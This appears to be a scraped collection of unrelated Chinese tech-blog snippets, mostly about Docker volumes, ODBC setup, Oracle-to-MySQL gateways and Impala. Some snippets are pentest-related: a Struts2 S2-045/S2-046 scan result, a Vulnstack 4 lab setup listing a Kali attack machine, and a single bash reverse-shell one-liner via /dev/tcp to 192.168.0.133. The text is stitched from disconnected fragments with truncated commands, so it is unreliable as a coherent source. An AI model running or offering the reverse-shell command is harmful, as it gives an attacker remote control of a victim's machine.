在PG中访问PG可以通过dblink，在PG中访问Oracle可以通过oracle_fdw，访问MySQL可以通过mysql_fdw，具体过程可以参考：https://www.xmmup.com/pgzhongdefile_fdwpostgres_fdwhedblink.html
在之前的博客中已经配置过了，可以参考：https://www.xmmup.com/oracle-database-gatewaystoumingwangguandeanzhuanghepeizhi.html#Oracle_lian_jie_daoMySQL
架构 📷 📷 环境准备 -- 创建专用网络 docker network create --subnet=172.72.6.0/24 pg-network -- PG A docker rm -f lhrpga docker run -d --name lhrpga -h lhrpga \ -p 64320:5432 --net=pg-network --ip 172.72.6.20 \ -e POSTGRES_PASSWORD=lhr \ -e TZ=Asia/Shanghai \
环境说明： Oracle: 12.1.0.2.0 OS: CentOS Linux release 7.9.2009 MySQL: 5.7.38 Oracle 字符集：AMERICAN_AMERICA.AL32UTF8 MySQL 字符集：utf8
从 Oracle 无法直接访问 Mysql 数据库，需要配置透明网关后通过 DBLink 实现访问。
ODBC是Open Database Connect 即开发数据库互连的简称，它是一个用于访问数据库的统一界面标准。ODBC引入一个公共接口以解决不同数据库潜在的不一致性，从而很好的保证了基于数据库系统的应用程序的相对独立性。ODBC 概念由 Microsoft 开发，后来移植到其他平台。
Oracle数据网关，就像一个桥梁，贯通oracle数据库和non-oracle数据库。在配置过程中，我们经常讲到的三个重要文件：第一、tnsnames.ora；第二、lisener.ora；第三、init.ora。他们是如何工作呢？
本文介绍如何在Oracle配置mysql数据库的dblink；虽然dblink使用很占资源；俗称“性能杀手”。但有些场景不得不使用它。例如公司使用数据库是Oracle；可能其他部门或者CP合作公司使用的数据库是MySQL。若需要数据对接。
Docker就是手机中的各种APP，只需要一个系统就可以下载自己所需的应用
在zabbix-server端配置Freetds、unixODBC、unixODBC-devel
接触 docker 的朋友都知道，docker 镜像是以 layer 概念存在的，一层一层的叠加，最终成为我们需要的镜像。但该镜像的每一层都是 ReadOnly 只读的。只有在我们运行容器的时候才会创建读写层。文件系统的隔离使得：
主要讲解ODBC API, 以mysql为例, 从配置到安装, 再到具体的编程, 以期对ODBC有个初步的认识.
OGG有传统的经典架构，也有最新的微服务，2个都可以远程捕获和应用数据，对数据库服务器是0侵入，而传统的经典架构是纯命令行模式，最新的微服务架构是图形化界面操作，几乎所有操作都可以在界面进行。相关文章可以参考：
默认情况下，在Docker容器内创建的所有文件都只能在容器内部使用。容器删除后，数据也跟着删除，虽然通常我们不会删除容器，但是一旦宿主机发生故障，我们重新创建容器恢复服务，那么之前容器创建的文件就会丢失，这会为我们带来不必要的麻烦。另外，由于在容器中的文件对于Docker来说是卸载了“可写层”，性能也会下降，所以我们需要把数据写到宿主机，方便数据的存储、转移，以及容器间的数据共享，提高数据读写性能等等
众多的厂商推出了行行色色的数据库系统，它们在性能、价格和应用范围上各有千秋。一个综合信息系统的各部门由于需求差异等原因，往往会存在多种数据库，它们之间的互连访问成为一个棘手的问题，特别是当用户需要从客户机端访问不同的服务器时。微软提出的开放式数据库互连（Open-DataBase-Connectivity，即ODBC）成为一个强有力解决方案，并逐步成为Windows和Macintosh平台上的标准接口，并推动了这方面的开放性和标准化。
Zabbix5.0.8-ODBC监控SQL Server数据库 📷 #连接SQLserver需要安装freetds和ODBC驱动 wget http://ibiblio.org/pub/Linux/ALPHA/freetds/stable/freetds-stable.tgz tar -zxvf freetds-stable.tgz 注：freetds通常yum源里面没有，需要下载编译安装 yum install gcc -y cd freetds-0.91/ ./configure --pr
今天小麦苗给大家分享的是[Oracle-> MySQL] Oracle通过dblink连接MySQL--Oracle 19c pdb连接到MySQL 5.7。
Cloudera Impala支持Hadoop数据集上的低延迟交互式查询，这些数据集可以存储在Hadoop分布式文件系统（HDFS）或Hadoop的分布式NoSQL数据库HBase中。Impala的想法是使用Hadoop作为存储引擎，但远离MapReduce算法。相反，Impala使用分布式查询，这是一种从大规模并行处理数据库继承而来的概念。因此，Impala支持类SQL语言的查询（与Apache Hive相同），但可以比Hive更快地执行查询，将它们转换为MapReduce。您可以在之前的文章中找到有关Impala的更多详细信息。
绑定挂载（bind mounts）在 Docker 的早期就已经出现了。与卷相比，绑定挂载的功能有限。当您使用绑定挂载时，主机上的文件或目录将挂载到容器中。文件或目录由其在主机上的完整或相对路径引用。相反地，当您使用卷时，在主机上 Docker 的存储目录中创建一个新目录，Docker 管理该目录的内容。
本篇已加入《.NET Core on K8S学习实践系列文章索引》，可以点击查看更多容器化技术相关系列文章。
这里直接使用漏扫工具检测struts2有无漏洞，这里发现存在S2-045、S2-046两个漏洞
Docker 镜像是由多个文件系统（只读层）叠加而成。当我们启动一个容器的时候，Docker 会加载只读镜像层并在其上（镜像栈顶部）添加一个读写层。如果运行中的容器修改了现有的一个已经存在的文件，那该文件将会从读写层下面的只读层复制到读写层，该文件的只读版本仍然存在，只是已经被读写层中该文件的副本所隐藏。当删除Docker容器，并通过该镜像重新启动时，之前的更改将会丢失。
Docker 是基于容器技术实现的，由于 Docker 的火热流行，可能很多人会认为容器是 Docker 独有的技术。
Goby：bash -c 'exec bash -i &>/dev/tcp/192.168.0.133/8065 <&1'
DNMP（Docker + Nginx + MySQL + PHP8/7/5 + Redis）是一款全功能的LNMP一键安装程序。
该文是docker redis主从配置 正式部署的前言。如下会简要列出目录，需要了解的前置知识，以防配置时出错。 如果你还不够了解，就阅读正文的相应章节。
我一开始是准备还原数据库的，结果出现了如下问题。因为它并不是备份文件，所以我们无法进行还原。
这是资源站点，自行选择版本：http://files.freeswitch.org/freeswitch-releases/
This will download and start a GitLab container and publish ports needed to access SSH, HTTP and HTTPS. All GitLab data will be stored as subdirectories of GITLAB_HOME. The container will automatically restart after a system reboot. （译：所有 GitLab 的数据都会被存储到宿主机 GITLAB_HOME 的子目录中）
每个容器都会被自动分配本地存储。默认情况下，容器全部文件和目录都是用该存储的。非持久存储属于容器的一部分，并且与容器的生命周期一样---容器创建时会创建非持久化存储，同时该存储也会随着容器的删除而删除。
Impala提供了多种访问方式如impala-shell、beeline、JDBC以及ODBC等方式，关于beeline、JDBC的连接方式可以参考Fayson前面的文章《如何使用java代码通过JDBC连接Impala(附Github源码)》和《如何使用Beeline连接Impala》，本篇文章主要介绍如何在Linux上安装及配置Impala ODBC驱动。学习本章知识前你还需要知道《如何使用HAProxy实现Kerberos环境下的Impala负载均衡》和《如何使用HAProxy实现Impala的负载均衡》。
在上一节《记一次基础的Vulnstack渗透经验分享》中，我们简单的对vulnstack 1的靶场环境做了一次测试，通过外网初探、信息收集、攻入内网最终拿下域控，整个流程算是比较顺利，毕竟这个靶场环境比较基础。如今，vulnstack系列的内网渗透靶场已经发布了六个，在本节中，我们将对vulnstack 4这个靶场进行渗透测试。靶场地址：http://vulnstack.qiyuanxuetang.net/vuln/detail/6/
配置 web 192.168.205.130 192.168.150.132 win7 192.168.205.128 DC 192.168.205.131 kali攻击机 192.168.150.128
前言 上一篇文章中简单总结了一下docke的基础使用方法，这次我来总结一下有关docker存储方面的相关知识。本文同样建立在CloudMan的系列教程之上，有兴趣的可以直接移步。 有些人可能觉得这个很简单，存储就是硬盘嘛，docker容器既然也是操作系统，那就直接存在他的容器的文件系统里就好了。看似没错，但问题在于docker的容器是无状态的，当容器重启的时候里面的数据会全部清除，如果是一些静态的数据，我们可以在build镜像的时候直接写死，但是对于数据库、日志等数据实时变化的镜像我们就不能通过这种方式来保
#安装 unixODBC yum install unixODBC.x86_64 unixODBC-devel.x86_64 #查看odbcins.ini配置文件 cat /etc/odbcinst.ini #验证系统能否找到驱动 odbcinst -q -d #下载，安装 unixODBC 驱动 wget https://mirrors.huaweicloud.com/centos/7/os/x86_64/Packages/mysql-connector-odbc-5.2.5-8.el7.x86_6
= /usr/lib/psqlodbcw.so = /usr/lib/libodbcpsqlS.so = /usr/lib64/psqlodbcw.so = /usr/lib64/libodbcpsqlS.so = 1 odbc配置文件 打开/etc/odbc.ini文件，并填写下列配置。
容器和镜像之间的主要区别是顶部的可写层。所有对容器添加新的或修改现有数据的内容都存储在该可写层中。当容器被删除时，可写层也被删除。底层镜像保持不变。
在Linux上运行的Docker有三种不同的方式将数据从 Docker Host挂载到 Docker 容器，并实现数据的读取和存储：volumes、bind mounts、tmpfs。
内网的一台CentOS服务器，需配置PostgreSQL ODBC。如果可以连接Internet，此工作很容易，使用yum install自动安装相应依赖包后简单配置即可。但当置于内网环境时，事情就有些麻烦，需要事先手工下载各个依赖包，上传到服务器后再进行安装，最后才是配置。
在前面的三次分享中，我分别从 Linux Namespace 的隔离能力、Linux Cgroups 的限制能力，以及基于 rootfs 的文件系统三个角度，为你剖析了一个 Linux 容器
下图给出一个示例，其中创建的数据卷My_Volume主要包括的信息有：创建时间、设备类型、标签、挂载点、名字等信息。
ContainerViewer does not support full SVG 1.1
在创建 docker 的镜像和容器后，还需要对容器进行数据管理，以便能与主机、不同容器之间进行交换数据。
Oracle10g前，Oracle并不提供UNIX/Linux下的ODBC驱动，用的最为广泛的是UnixOdbc，UnixOdbc的配置不算复杂，但是如果不顺利的话也会遇到一些问题。
在前面我们详细学习了docker的三大核心概念：镜像、容器和仓库，接下来开始学习如何管理数据。在实际工作中使用docker，往往需要对数据进行持久化，或者需要在多个容器之间进行数据共享，此时必然会使用到容器数据管理的各种操作。
理解OpenShift（5）：从 Docker Volume 到 OpenShift Persistent Volume
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